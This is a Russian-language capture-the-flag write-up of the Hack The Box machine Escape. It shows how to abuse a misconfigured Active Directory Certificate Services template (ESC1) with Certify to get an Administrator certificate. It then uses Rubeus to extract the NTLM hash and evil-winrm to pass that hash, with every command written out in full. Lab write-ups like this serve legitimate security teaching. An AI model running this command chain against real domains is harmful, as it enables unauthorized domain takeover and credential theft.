Active Directory Certificate Services (ADCS) используется для управления сертификатами в среде Windows. Однако, как и многие другие компоненты Active Directory, ADCS может быть подвержен уязвимостям и требует тщательного анализа на предмет безопасности. Сегодня, на примере прохождения уязвимой машины Escape с площадки Hack The Box покажу, как использовать инструменты Certify и Rubeus для атаки на ADCS.
Еще по теме: Атаки на службы сертификатов Active Directory
Вернемся к службе сертификации Active Directory, которая часто может помочь захватить целый домен. В основном способы эксплуатации ADCS (Active Directory Certificate Services) завязаны на неправильно сконфигурированные шаблоны сертификатов, а также на права доступа к этим шаблонам и самой службе.
Статья в образовательных целях и предназначается для обучения этичных хакеров. При написании статьи использовались специально уязвимые машины площадки Hack The Box. Использование Certify и Rubeus для несанкционированного доступа к чужим сетям является незаконным. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Использование Certify и Rubeus для атаки на ADCS
Получить информацию о службе сертификации позволяет программа Certify.
Certify — это инструмент на языке C#, который используется для перечисления и злоупотребления неправильной конфигурацией Active Directory Certificate Services (ADCS).
Запускаем ее с командой find.
1 |
.\Certify.exe find /vulnerable |
Информация о службе ADCS и уязвимый шаблон сертификата:
Certify нашла «уязвимый шаблон сертификата» и оказалась права. Каждая техника имеет свою маркировку, и в данном случае мы можем использовать технику ESC1. Этому способствует выполнение следующих требований:
- У шаблона сертификата в свойстве msPKI-Certificate-Name-Flag установлен флаг ENROLLEE_SUPPLIES_SUBJECT, в результате чего запрашивающий может сам установить атрибут SAN (subjectAltName).
- Сертификат можно использовать для аутентификации клиента (client authentication).
- Текущий пользователь имеет права для регистрации сертификата без утверждения менеджера ADCS.
Таким образом, эта техника основана на возможности изменения SAN сертификата и позволяет выпустить сертификат для любого пользователя домена, включая администратора домена! Это тоже можно сделать с помощью Certify.
1 |
.\Certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:Administrator |
И мы получаем сертификат и приватный ключ, который можно использовать для аутентификации пользователя в домене. Но сначала нужно перевести сертификат из формата PEM в формат PFX.
1 |
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx |
А теперь с помощью еще одного незаменимого инструмента — Rubeus — проведем атаку для аутентификации в домене и получения тикета пользователя Administrator.
Rubeus — это набор инструментов на языке C# для взаимодействия с протоколом Kerberos в среде Windows. Он может использоваться для атак на аутентификацию, а также для анализа и эксплуатации уязвимостей, связанных с Kerberos.
Затем выполним атаку UnPAC the hash, чтобы получить тикет пользователя и NTLM-хеш его пароля. Rubeus позволяет сделать все это одной командой.
1 |
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:123 /getcredentials |
А теперь с помощью pass the hash подключаемся к службе WinRM и забираем флаг рута.
1 |
evil-winrm -i 10.10.11.202 -u 'Administrator' -H 'A52F78E4C751E5F5E17E1E9F3E58F4EE' |
Использование инструмента Certify может помочь выявить уязвимости и проблемы в управлении сертификатами в Active Directory.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Vulnerable-AD — стенд для атак на Active Directory
- Взлом сети через групповые политики Active Directory
- Использование Kerbrute для атаки на Kerberos Active Directory